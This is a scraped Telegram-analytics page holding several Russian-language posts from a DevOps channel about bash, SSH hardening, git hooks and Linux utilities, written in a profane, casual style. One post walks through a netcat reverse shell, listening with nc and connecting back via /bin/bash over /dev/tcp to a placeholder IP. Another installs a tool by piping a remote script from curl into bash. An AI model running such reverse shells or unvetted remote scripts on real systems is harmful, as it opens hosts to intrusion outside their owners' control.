Bash Days | Linux | DevOps
Авторский блог от действующего девопса Самобытно про разработку, devops, linux, скрипты, сисадминство, техдирство и за айтишную жизу. Автор: Роман Шубин Реклама: @maxgrue MAX: https://max.ru/bashdays Курс: @tormozilla_bot Блог: https://bashdays.ru
显示更多📈 Telegram 频道 Bash Days | Linux | DevOps 的分析概览
频道 Bash Days | Linux | DevOps (@bashdays) 俄语 语言赛道中的 是活跃参与者。目前社区聚集了 23 792 名订阅者,在 技术与应用 类别中位列第 5 701,并在 俄罗斯 地区排名第 28 128 位。
📊 受众指标与增长动态
自 невідомо 创建以来,项目保持高速增长,吸引了 23 792 名订阅者。
根据 17 六月, 2026 的最新数据,频道保持稳定运转。过去 30 天订阅人数变化为 -202,过去 24 小时变化为 -5,整体触达仍然可观。
- 认证状态: 未认证
- 互动率 (ER): 平均受众互动率为 21.91%。内容发布后 24 小时内通常能获得 12.48% 的反应,占订阅者总量。
- 帖子覆盖: 每篇帖子平均可获得 5 213 次浏览,首日通常累积 2 971 次浏览。
- 互动与反馈: 受众积极参与,单帖平均反应数为 21。
- 主题关注点: 内容集中在 bashdays, linux, bash, docker, скрипт 等核心主题上。
📝 描述与内容策略
作者将该频道定位为表达主观观点的平台:
“Авторский блог от действующего девопса
Самобытно про разработку, devops, linux, скрипты, сисадминство, техдирство и за айтишную жизу.
Автор: Роман Шубин
Реклама: @maxgrue
MAX: https://max.ru/bashdays
Курс: @tormozilla_bot
Блог: https://bashdays.r...”
凭借高频更新(最新数据采集于 18 六月, 2026),频道始终保持新鲜度与高覆盖。分析显示受众积极互动,使其成为 技术与应用 类别中的关键影响点。
nc = netcat, вот с помощью нее можно подключаться к серверам у которых нет прямого айпи адреса, а есть только внутренний, либо все за NAT лежит.
Темка называется — Reverse Shell. Про неё ты тоже всяко слышал. В подробности вдаваться не будем, потыкаем на практике чтобы тебе все стало понятно.
У меня есть сервер в закрытом периметре без внешнего айпи адреса.
Нужно выдать доступ левому инженеру из мухосранска, который подключиться к этому серверу и произведет работы на сервере.
Как быть? Привязывать белый айпишник не вариант. Бастиона нет. SSH тоннели не канают. Тут-то на помощь и приходит netcat.
Просим инженера из мухосранска запустить у себя:
root@fuck:/ nc -lvnp 2288
В ответ он получает строчку вида: Listening on 0.0.0.0 2288
-l = слушать входящие соединения
-v = быть более подробным
-n = использовать IP-адреса без DNS
-p = порт
Дальше я иду на сервер, который не имеет белого айпишника и запускаю на нём:
/bin/bash -i > /dev/tcp/айпи мухосранска/2288 0<&1 2>&1
Не забываем у инженера узнать его IP, чтобы подставить 0<&1 2>&1 описывать не буду, ебаные премудрости, сто раз уже мусолили в постах. Если интересно, спроси у GPT.
А дальше… магия!
В мухосранске, там где запустили nc -lvnp 2288, произойдет такое:
Listening on 0.0.0.0 2288
Connection received on 147.45.73.123 50740
root@stage1:~#
У инженера сменится шелл с root@fuck на root@stage1 и он получит доступ к нашему закрытому серверу без белого айпишника. Ну охуенно же!
Ну а дальше можно и админить всё это дело пользуясь всеми благами командной строки.
Для всего происходящего могут понадобиться рут права, поэтому сразу делаем на это погрешность.Прошу отметить, что предоставленная здесь информация предназначена исключительно для образовательных и информационных целей. Я не призываю и не одобряю незаконные действия, и использование этой информации для незаконных целей запрещено. Читатели должны соблюдать законы своей страны и использовать свои навыки с уважением к этическим нормам и законам. Давай, увидимся! tags: #linux #networks #security — 🔔 @bashdays
su и sudo. Но не все знают про команду runuser.
ㅤ
Эта команда используется в скриптах, системных процессах, крон тасках и в контексте служб которые запускаются с привилегиями рута. А самое главное не требует ввода пароля.
Пример:
runuser -u roman -- id
Ну и важно посмотреть help, чтобы жонглировать ключами. Там тебе и проброс шелла, сохранение/очистка переменных, псевдотерминалы и т.п.
В скриптах предпочтительнее использовать именно runuser чем везде пихать su.
Если у тебя нет привилегий root и нужно выполнить команду от имени другого пользователя, su для этого подходит лучше.
А чем отличается su от sudo (+ это двойное тире) я писал в этом посте.
Такие дела, изучайте…
tags: #linux
—
🔔 @bashdayssudo vim /usr/local/bin/servcontrol
#!/bin/bash
trap '' SIGINT SIGTERM SIGHUP DEBUG
declare -i MULTICOLUMN=0
declare -ir CMD_COL=3 #command column
declare -ir DLY_COL=4 #delay column
declare -ir NOCONFIRM_COL=5
declare -i COLS=$(echo "cols"|tput -S)
declare -i NUM=0
declare -u ANS
function ini(){ echo '
# (autonum_1) : name_2 : command_3 : delay_sec_4 : [NO_confirm_5]
Exit menu :exit:0:y
restart_postgres:systemctl postgresql restart:60
restart_1c_1541 :systemctl srv1cv83 restart:60
restart_1c_2541 :systemctl srv1cv83_2 restart:60
REBOOT__SERVER :reboot:10
'|awk '!/^#/ && NF {print ++i ":" $0}'
}
function get_ini_col(){ ini|awk -F: -vn=$1 -vc=$2 '$1==n{print $c;exit}';}
function prn_sleep(){
declare -i I=$1
while [[ $I -gt 0 ]];do
echo -ne "$I\033[0K\r"
sleep .99
I=$I-1
done
}
[[ $MULTICOLUMN -eq 0 ]] && CMDE='cat' || CMDE='column -x -c$COLS'
declare -i MAX=$(ini |awk -F: '{m=$1}END{print m}')
while :;do
clear
ini|awk -F: '{print $1,$2,"delay",$4 }'|eval $CMDE
read -p "select item number = "
#protection
NUM=$(echo $REPLY|sed 's/[^0-9]//g')
if [[ $NUM -le 0 ]] || [[ $NUM -gt $MAX ]];then
continue
fi
CMD=$(get_ini_col $NUM $CMD_COL)
DLY=$(get_ini_col $NUM $DLY_COL)
clear
echo delay "$DLY"
echo "$CMD"
#confirmation
if [[ -n $(get_ini_col $NUM $NOCONFIRM_COL) ]];then
ANS="YES"
else
read -p "Type YES to confirm operation " ANS
fi
if [[ "$ANS" == "YES" ]];then
clear
echo "$CMD"
prn_sleep $DLY
$CMD
exit
else
echo "Operation caneled"
sleep 1
fi
done
#--
Данный скрипт позволяет перезапустить postgres, сервисы 1с на первом или втором комплекте портов или ребутнуть весь сервак. Разбор скрипта делать не буду, если кому-нибудь будет интересно - напишу разбор отдельной статьей.
sudo chmod 755 /usr/local/bin/servcontrol
в файле /etc/ssh/sshd_config
Match User bashdays_tagd
MaxAuthTries 3
MaxSessions 1
PasswordAuthentication no
PermitEmptyPasswords no
PubkeyAuthentication yes
allowtcpforwarding no
ForceCommand sudo /usr/local/bin/servcontrol
#--
sudo service sshd restart
Ну, и самое главное. Чтобы эта вся фигня заработала, нужно либо запускать скрипт от root, либо разрешить выполнение скрипта под sudo без пароля для этого пользователя/группы.
Добавляем запись в конец файла /etc/sudoers.
Она позволит запускать указанный скрипт пользователю bashdays_tagd с привилегиями root. Следовательно, все команды в скрипте будут работать.
sudo vim /etc/sudoers
bashdays_tagd ALL=(ALL) NOPASSWD: /usr/local/bin/servcontrol
После подключения ssh bashdays_tagd@host.name
Пользователь видит интерактивное меню со списком команд, которые может выбрать. И все! Команда reboot в скрипте выполняется с задержкой в 5 минут.
Это сделано для того, чтобы нельзя было ребутить сервак в быстром цикле. По идее 5 минут должно хватить, чтобы отключить учетку хакнутого/сумашедшего пользователя или отредактировать sshd_config или sudoers.
man sshd_config
man sudoers
tags: #bash #linux
—
🔔 @bashdaysshellcheck и дизейблить коммит если я накосорезил.
Сейчас автоматизируем
ㅤ
Про shellcheck я писал отдельный пост. Короче он у тебя должен быть установлен.
Дальше создаем файл .git/hooks/pre-commit в репозитории, в котором нужно запускать проверку и пишем в него:
#!/bin/bash
bash_scripts=$(find . -name "*.sh")
for script in $bash_scripts; do
shellcheck "$script"
if [ $? -ne 0 ]; then
echo "Shellcheck failed on $script. Commit aborted."
exit 1
fi
done
exit 0
Хуй знает, работает этот код или нет, я давно им не пользовался, главное тут концепт.
Делаем это исполняемым:
chmod +x .git/hooks/pre-commit
Теперь перед каждым коммитом будет выполняться shellcheck для всех Bash-скриптов в репозитории. Если shellcheck найдет ошибки, твой коммит не пройдет, пока не пофиксишь.
По началу это напряжно, но потом понимаешь что у тебя уже вырабатывается какой-то кодстайл и ты не можешь распиздяйничать.
Если у тебя скрипты имеют другое расширение, соответственно меняешь его в переменной bash_scripts.
Помню в компании была подобная штука на проверку puppet кода, пиздец, я там орал как белуга не понимая что эта тварь от меня хочет. По итогу когда я возглавил отдел, выкосил это дермище вместе с puppet.Бонусом адаптация под проверку ansible плейбуков:
#!/bin/bash
playbooks=$(find . -name "*.yml" -o -name "*.yaml")
for playbook in $playbooks; do
ansible-lint "$playbook"
if [ $? -ne 0 ]; then
echo "ansible-lint failed on $playbook. Commit aborted."
exit 1
fi
done
exit 0
В зависимостях — нужно установить ansible-lint.
С помощью pre-commit можешь любую хуйню замутить и усложнять себе жизнь в геометрической прогрессии, А вообще pre-commit нахуй не нужен, он помещает тебя в рамки и ты теряешь свободу в творчестве.
Пользуйтесь.
tags: #bash #git
—
🔔 @bashdaysfdupes называется.
Натравливаешь её на нужный каталог и получаешь кайф:
fdupes -r ~/Downloads
По выхлопу:
./music/Blind Guardian Bright Eyes.mp3
./mp3/Blind Guardian Bright Eyes.mp3
Опа, в папках music и mp3 идентичные файлы, значит один из них точно можно ёбнуть!
Но чо руками что ли это делать? Неа!
fdupes -d ~/Downloads/*
Тебе вывалит интерактивный режим:
Set 1 of 1:
1 [ ] /tmp/Downloads/music/Blind Guardian Bright Eyes.mp3
2 [ ] /tmp/Downloads/mp3/Blind Guardian Bright Eyes.mp3
Но вообще если не боишься, запускай:
fdupes -r -d -N ~/Downloads/*
Как говорится, если ты не знаешь что у тебя хранится на диске — значит оно тебе нахуй не нужно. Так что посмелее!После отработки получаем:
[+] ~/Downloads/music/Blind Guardian Bright Eyes.mp3
[-] ~/tmp/Downloads~/mp3/Blind Guardian Bright Eyes.mp3
В папке ~/Downloads/music файл остался, а вот в в папке mp3 похерился.
Работает эта штука - Очень шустро! И зашла она мне прям люто, аналогично как ncdu из этого поста.
Ставится элементарно:
apt install fdupes
+ у ней дофига ключей, вызывай help и изучай, чо там только нет.
Ссылка на репку: https://github.com/adrianlopezroche/fdupes
Но есть алтернативы шутрее:
Бенчмарки 8vCPU/30G (54,000 files 17Gb)
fdupes takes 2m 47.082s findup takes 13.556s jdupes takes 0.165sЛибо наш любимый
find со своей кишкой из аргументов. Выбор за тобой!
Давай, увидимся!
tags: #utilites #linux
—
🔔 @bashdaysbashdays.ru/1
bashdays.ru/2
bashdays.ru/3
bashdays.ru/4
bashdays.ru/5
И есть условный bash скрипт, который должен прочитать этот файл и присвоить значения переменным, чтобы получилось так:
$1 = bashdays.ru/1
$2 = bashdays.ru/2
$3 = bashdays.ru/3
$4 = bashdays.ru/4
$5 = bashdays.ru/5
Сначала прикидываем в голове алгоритм — читаем файл построчно, цикл вся хуйня, делаем что-то на подобии массива и дальше по накатанной. Это всё понятно, классика.
Но решим мы её как обычно через жопу:
#!/bin/bash
n=$(<bashdays.txt)
set -- $n
echo $1 # bashdays.ru/1
echo $2 # bashdays.ru/2
echo $3 # bashdays.ru/3
...
echo $@ # bashdays.ru/2 bashdays.ru/3 ...
Охуенно? ДА! Теперь давай разберем чо происходит.
В переменную «n» зачитываем bashdays.txt с нашим списком урлов.
Как сказал Паук — Рэп это кал!Это так, к слову, если любишь рэп — ничо против не имею. Конструкция
$( < ) аналогична команде «cat», выполняет замену с подстановкой == $(cat bashdays.txt).
По итогу переменная «n» содержит в себе весь текст из файла bashdays.txt
Ну а магическая поебень set -- $n устанавливает позиционные параметры на основе содержимого переменной «n». То есть решает нашу задачу.
Символ «--» перед set = сброс всех предыдущих позиционных параметров и установка новых.
Можно конечно сделать проще, но проще это не для нас:
cat bashdays.txt | xargs ./script.sh
Тут содержимое файла bashdays.txt передается в скрипт и скрипт получает эти параметры в качестве аргументов.
#!/bin/bash
echo $1
echo $2
echo $3
echo $@
Итого получаем аналогичную картинку:
bashdays.ru/1
bashdays.ru/2
bashdays.ru/1 bashdays.ru/2 ...
Такие вот дела, накидывайте в комменты еще варианты упоротых решений, простые не интересны.
tags: #bash
—
🔔 @bashdaysbash: declare: 08: слишком большое значение для основания (неверный маркер «08»)Скрипт, написанный и работающий с 02.02.24г вдруг перестал работать. Чудеса? ㅤ Лезу, смотрю, где ошибка.
declare -i MON=$(date +%m)
Мне нужен просто номер месяца для контроля, какой накопитель должен быть примонтирован.
Начинаю выяснять. Оказывается, числа, начинающиеся с "0", а bash считает восьмеричными. Понятное дело, 08 для восьмеричной системы великовато.
Ну, решений проблемы море.
0. Самый правильный вариант (подсказал Alexey Kuznetsov)
declare -i MON=$(date "+%-m")
1. Классический вариант
declare -i MON=$((10#$(date "+%m")))
10# - система счисления. Роман об этом уже писал. Но, читаемость (понимаемость) строки - так себе.
2. Более читаемый
declare -i MON=$(date "+%m"|sed 's/^0//')
Просто уберем ведущий "0" и проблема решена.
3. Решение на awk.
Пробую пробую на своей машине:
declare -i MON=$(awk 'BEGIN{m=+strftime("%m");print m}')
Работает. Встраиваю в скрипт - ошибка
awk: line 2: function strftime never definedПоверяю версии
awk. У меня на машине gawk, на серваке mawk.
Блин, это уже вызов. mawk - не gawk и у него отсутствуют функции времени и даты (ну, по крайней мере в той версии).
Но, решение есть.
declare -i MON=$(date "+%m"|awk '{print $1+=0}')
Странная инструкция $1+=0 позволяет преобразовать строковое представление числа в первой колонке в числовое.
Ну, собственно все. В коментах надеюсь увидеть другие варианты решения проблемы.
tags: #linux
—
🔔 @bashdaysБЕЗДУМНАЯ НАСТРОЙКА SSH по SSH МОЖЕТ ПРИВЕСТИ К ПОТЕРЕ КОНТРОЛЯ НАД СЕРВЕРОМ. Чтобы минимизировать риски, я подключаюсь по ssh двумя сессиями. В одной правлю sshd_config, другую оставляю для возможного отката при косяках, поскольку при перезапуске sshd с измененным конфигом текущие сессии сохраняются. Наличие физического доступа к консоли - приветствуется. sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.$(date +%Y%m%d-%H%M%S)Вы уже знаете, как настроить ключи. И они прописаны и работают!!! Есть несколько способов безболезненно раздать vрn на свою семью. В файле
/etc/ssh/sshd_config
Match User bashdays_tagd
# или Match Group proxy
MaxAuthTries 3
MaxSessions 0
PasswordAuthentication no
PermitEmptyPasswords no
PubkeyAuthentication yes
allowtcpforwarding yes
#--
sudo service sshd restart
Если иcпользуете группу — не забудьте добавить в нее пользователя:
sudo usermod -aG proxy bashdays_tagd
При параметре MaxSessions 0 будет запрещен доступ к shell и sftp. Но разрешен проброс портов.
На клиенте:
ssh -N -D 5000 bashdays_tagd@ssh.host.name
После запуска и ввода фразы ключа программа ничего не выводит, а потом, при использовании начинают сыпаться какие-то ошибки, ну и ладно. Если прервать команду, соединения в браузере разорвутся.
В firefox:
Настройки -> Настройка сети -> Параметры соединения Ручная настройка прокси. SOCKS5. 127.0.0.1 порт 5000. Галка — Отправлять DNS-запросы через прокси при использовании SOCKS 5 или:
ssh -N -D 192.168.1.57:5000 bashdays_tagd@ssh.host.name
Если ваш адрес 192.168.1.57 и вы, человек еще более добрый чем я, и решили поделиться VРN со всей своей локалкой (в которой сидит еще и тёща с тестем):
В настройках firefox нужно будет заменить 127.0.0.1 на 192.168.1.57
Продолжение следует...
tags: #linux
—
🔔 @bashdaysОбычно после отпуска нахрен забываешь весь этот чудо docker синтаксис и приходится вновь лезть в интернет за мануалом — докер для чайников.Ну дак вот GMD всю эту работу берет на себя, тыкай горячие кнопки и рули своими образами и контейнерами. Прям мастхевная хуёвина для каких-то своих пет-прооектов. Для разработчиков прям пушка, поставил локально и не ебись с консолькой. Ставится элементарно:
bash -c "$(curl -sLo- https://raw.githubusercontent.com/ajayd-san/gomanagedocker/main/install.sh)"
Репка тут: https://github.com/ajayd-san/gomanagedocker
tags: #utilites
—
🔔 @bashdays
现已上线!2025 年 Telegram 研究 — 年度关键洞察 
